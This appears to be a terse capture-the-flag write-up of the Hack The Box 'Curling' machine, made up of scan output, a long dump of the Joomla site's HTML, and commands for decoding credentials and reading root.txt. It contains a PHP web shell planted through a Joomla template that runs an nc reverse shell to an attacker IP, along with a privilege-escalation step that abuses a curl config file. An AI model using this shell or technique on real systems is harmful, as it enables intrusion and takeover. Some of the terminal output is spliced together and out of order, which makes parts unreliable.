BASE64 DECODE

JOOMLA ADMIN PANEL

REVERSE PHP

REVERSE HEX FILE

BZIP2 FILE

BZIP2 TO GZ

GZ TO TAR

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)

| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)

|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-generator: Joomla! - Open Source Content Management

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Home

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

root@kali:/home/kali/Desktop/htb/curling# gobuster dir -u http://curling.htb/ -w /usr/share/wordlists/dirb/common.txt -x .txt

/administrator (Status: 301)

/bin (Status: 301)

/cache (Status: 301)

/components (Status: 301)

/images (Status: 301)

/includes (Status: 301)

/index.php (Status: 200)

/language (Status: 301)

/layouts (Status: 301)

/libraries (Status: 301)

/LICENSE. /media (Status: 301)

/modules (Status: 301)

/plugins (Status: 301)

/README.txt (Status: 200)

/secret.txt (Status: 200)

/templates (Status: 301)

/tmp (Status: 301)

/web.config.txt (Status: 200)txt (Status: 200)

http://curling.htb/secret.txt

Q3VybGluZzIwMTgh

Base-64 Decode

Floris Curling2018!

http://curling.htb/administrator/

configuration→templates→default for all pages→templates→protostar new php

root@kali:/home/kali/Desktop/htb/curling# cat reverse.php

```
<?php
   system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 1337 >/tmp/f');
?>
```

root@kali:/home/kali/Desktop/htb/curling# nc -nlvp 1337

http://curling.htb/templates/protostar/akg.php

SHELL GAINED!!!!

www-data@curling:/home/floris$ cat password_backup

```
00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
```

00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh.....4

00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n.....J..

00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x

00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1

00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."

000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.

000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..

000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C

000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..

000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.

000000f0: 819b bb48   ...H

root@kali:/home/kali/Desktop/htb/curling# xxd -r passbackup backup

root@kali:/home/kali/Desktop/htb/curling# file backup

backup: bzip2 compressed data, block size = 900k

root@kali:/home/kali/Desktop/htb/curling# mv backup backup.bz2

root@kali:/home/kali/Desktop/htb/curling# bzip2 -d backup.bz2

root@kali:/home/kali/Desktop/htb/curling# file backup

backup: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141

root@kali:/home/kali/Desktop/htb/curling# mv backup backup.gz

root@kali:/home/kali/Desktop/htb/curling# gzip -d backup.gz

root@kali:/home/kali/Desktop/htb/curling# bzip2 -d backup.bz2

root@kali:/home/kali/Desktop/htb/curling# file backup

backup: POSIX tar archive (GNU)

root@kali:/home/kali/Desktop/htb/curling# mv backup backup.tar

root@kali:/home/kali/Desktop/htb/curling# tar xvf backup.tar

password.txt

root@kali:/home/kali/Desktop/htb/curling# cat password.txt

5d<wdCbdZu)|hChXll

root@kali:/home/kali/Desktop/htb/curling# ssh floris@curling.htb

floris@curling:~/admin-area$ cat input

url = "http://127.0.0.1"

floris@curling:~/admin-area$ cat report

<!DOCTYPE html>

<html lang="en-gb" dir="ltr">

<head>

<meta name="viewport" content="width=device-width, initial-scale=1.0" />

<meta charset="utf-8" />

<base href="http://127.0.0.1/" />

<meta name="description" content="best curling site on the planet!" />

<meta name="generator" content="Joomla! - Open Source Content Management" />

<title>Home</title>

<link href="/index.php?format=feed&type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />

<link href="/index.php?format=feed&type=atom" rel="alternate" type="application/atom+xml" title="Atom 1.0" />

<link href="/templates/protostar/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />

<link href="/templates/protostar/css/template.css?4c6b364068a1c45e7cd3bb9b6a49b052" rel="stylesheet" />

<link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" />

<style>

h1, h2, h3, h4, h5, h6, .site-title {

font-family: 'Open Sans', sans-serif;

}

</style>

<script type="application/json" class="joomla-script-options new">{"csrf.token":"1f77e051efb2a8d8abeff1e27699d968","system.paths":{"root":"","base":""},"system.keepalive":{"interval":840000,"uri":"\/index.php\/component\/ajax\/?format=json"}}</script>

<script src="/media/jui/js/jquery.min.js?4c6b364068a1c45e7cd3bb9b6a49b052"></script>

<script src="/media/jui/js/jquery-noconflict.js?4c6b364068a1c45e7cd3bb9b6a49b052"></script>

<script src="/media/jui/js/jquery-migrate.min.js?4c6b364068a1c45e7cd3bb9b6a49b052"></script>

<script src="/media/system/js/caption.js?4c6b364068a1c45e7cd3bb9b6a49b052"></script>

<script src="/media/jui/js/bootstrap.min.js?4c6b364068a1c45e7cd3bb9b6a49b052"></script>

```
	<script src="/templates/protostar/js/template.js?4c6b364068a1c45e7cd3bb9b6a49b052"></script>

	<!--[if lt IE 9]><script src="/media/jui/js/html5.js?4c6b364068a1c45e7cd3bb9b6a49b052"></script><![endif]-->

	<script src="/media/system/js/core.js?4c6b364068a1c45e7cd3bb9b6a49b052"></script>

	<!--[if lt IE 9]><script
src="/media/system/js/polyfill.event.js?4c6b364068a1c45e7cd3bb9b6a49b052"></script><![endif]-->

	<script src="/media/system/js/keepalive.js?4c6b364068a1c45e7cd3bb9b6a49b052"></script>

	<script>

jQuery(window).on('load',  function() {

			new JCaption('img.caption');

jQuery(function($){ initTooltips(); $("body").on("subform-row-add", initTooltips); function initTooltips (event, container) {
container = container || document;$(container).find(".hasTooltip").tooltip({"html": true,"container": "body"});} });

	</script>


</head>

<body class="site com_content view-featured no-layout no-task itemid-101">

	<!-- Body -->

	<div class="body" id="top">

		<div class="container">

			<!-- Header -->

			<header class="header" role="banner">

				<div class="header-inner clearfix">

					<a class="brand pull-left" href="/">

						<span class="site-title" title="Cewl Curling site!">Cewl Curling site!</span>
</a>

					<div class="header-search pull-right">


					</div>

				</div>

			</header>


			<div class="row-fluid">

					<main id="content" role="main" class="span9">
```

<!-- Begin Content -->

<div class="blog-featured" itemscope itemtype="https://schema.org/Blog">

<h1>

Home </h1>

<div class="leading-0 clearfix"

itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">

<h2 class="item-title" itemprop="headline">

What's the object of curling?

</h2>

<button class="btn dropdown-toggle" type="button" id="dropdownMenuButton-3" aria-label="User tools"

data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">

</button>

<ul class="dropdown-menu" aria-labelledby="dropdownMenuButton-3">

<li class="print-icon"> <a href="/index.php/2-uncategorised/3-what-s-the-object-of-curling?tmpl=component&print=1" title="Print article < What's the object of curling? >" onclick="window.open(this.href,'win2','status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no'); return false;" rel="nofollow">

Print

<dl class="article-info muted">

<dt class="article-info-term">

Details </dt>

<dd class="createdby" itemprop="author" itemscope itemtype="https://schema.org/Person">

Written by Super User </dd>

<dd class="category-name">

Category: Uncategorised </dd>

<dd class="published">

<time datetime="2018-05-22T18:54:21+00:00" itemprop="datePublished">

Published: 22 May 2018 </time>

</dd>

<dd class="hits">

<meta itemprop="interactionCount" content="UserPageVisits:4" />

Hits: 4 </dd> </dl>

Good question. First, let's get a bit of the jargon down. The playing surface in curling is called "the sheet." Sheet dimensions can vary, but they're usually around 150 feet long by about 15 feet wide. The sheet is covered with tiny droplets of water that become ice and cause the stones to "curl," or deviate from a straight path. These water droplets are known as "pebble."

<div class="item column-1 span4"

itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">

<h2 class="item-title" itemprop="headline">

Curling you know its true!

</h2>

<button class="btn dropdown-toggle" type="button" id="dropdownMenuButton-2" aria-label="User tools"

data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">

</button>

<ul class="dropdown-menu" aria-labelledby="dropdownMenuButton-2">

<li class="print-icon"> <a href="/index.php/2-uncategorised/2-curling-you-know-its-true?tmpl=component&print=1" title="Print article < Curling you know its true! >" onclick="window.open(this.href,'win2','status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no'); return false;" rel="nofollow">

Print

<dl class="article-info muted">

<dt class="article-info-term">

Details </dt>

<dd class="createdby" itemprop="author" itemscope itemtype="https://schema.org/Person">

Written by Super User </dd>

<dd class="category-name">

Category: Uncategorised </dd>

<dd class="published">

<time datetime="2018-05-22T18:53:17+00:00" itemprop="datePublished">

Published: 22 May 2018 </time>

</dd>

<dd class="hits">

<meta itemprop="interactionCount" content="UserPageVisits:4" />

Hits: 4 </dd> </dl>

Curling is absolutely the best sport to watch on television, particularly for viewers looking for an escape from the frantic "more, faster, bigger, higher" grind of most televised games. Watching basketball or hockey can get you so hyped up, you feel like drinking a Red Bull and doing jumping jacks. Watching curling makes you want to drink a glass of red wine and lie down on the shag carpet. Curling is deliberate. Thoughtful, even. The games move very slowly. The players spend a lot of time talking strategy. There are nods and quiet words of encouragement; rarely are there disagreements. When it comes time for a team member to play their turn by sliding a stone down the ice, the moves are elegant. There's a wind up, a push-off, a slide, and a gentle release. Such poise and finesse!

<div class="item column-2 span4"

itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">

<h2 class="item-title" itemprop="headline">

My first post of curling in 2018!

</h2>

<button class="btn dropdown-toggle" type="button" id="dropdownMenuButton-1" aria-label="User tools"

data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">

</button>

<ul class="dropdown-menu" aria-labelledby="dropdownMenuButton-1">

<li class="print-icon"> <a href="/index.php/2-uncategorised/1-first-post-of-curling2018?tmpl=component&print=1" title="Print article < My first post of curling in 2018! >" onclick="window.open(this.href,'win2','status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no'); return false;" rel="nofollow">

Print

<dl class="article-info muted">

<dt class="article-info-term">

Details </dt>

<dd class="createdby" itemprop="author" itemscope itemtype="https://schema.org/Person">

Written by Super User </dd>

<dd class="category-name">

Category: Uncategorised </dd>

<dd class="published">

<time datetime="2018-05-22T18:51:53+00:00" itemprop="datePublished">

Published: 22 May 2018 </time>

</dd>

<dd class="hits">

<meta itemprop="interactionCount" content="UserPageVisits:4" />

Hits: 4 </dd> </dl>

Hey this is the first post on this amazing website! Stay tuned for more amazing content! curling2018 for the win!

- Floris

<ul itemscope itemtype="https://schema.org/BreadcrumbList" class="breadcrumb">

You are here:

<li itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" class="active">

Home

<meta itemprop="position" content="1">

<!-- End Content -->

</main>

<!-- Begin Right Sidebar -->

<h3 class="page-header">Main Menu</h3><ul class="nav menu">

<li class="item-101 default current active">Home

<h3 class="page-header">Login Form</h3><form action="/index.php" method="post" id="login-form" class="form-inline">

<label for="modlgn-username" class="element-invisible">Username</label>

<input id="modlgn-username" type="text" name="username" class="input-small" tabindex="0" size="18" placeholder="Username" />

<label for="modlgn-passwd" class="element-invisible">Password
</label>

<input id="modlgn-passwd" type="password" name="password" class="input-small" tabindex="0" size="18" placeholder="Password" />

<label for="modlgn-remember" class="control-label">Remember Me</label> <input id="modlgn-remember" type="checkbox" name="remember" class="inputbox" value="yes"/>

<button type="submit" tabindex="0" name="Submit" class="btn btn-primary login-button">Log in</button>

<ul class="unstyled">

Forgot your username?

Forgot your password?

<input type="hidden" name="option" value="com_users" />

<input type="hidden" name="task" value="user.login" />

<input type="hidden" name="return" value="aHR0cDovLzEyNy4wLjAuMS8=" />

<input type="hidden" name="1f77e051efb2a8d8abeff1e27699d968" value="1" />

</form>

<!-- End Right Sidebar -->

<!-- Footer -->

```
    <footer class="footer" role="contentinfo">
        <div class="container">
            <hr />

            <p class="pull-right">
                <a href="#top" id="back-top">
                    Back to Top                    </a>
            </p>
            <p>
                &copy; 2020 Cewl Curling site!            </p>
        </div>
    </footer>


</body>
    <!-- secret.txt -->
</html>
```

EDIT INPUT

File:///root/root.txt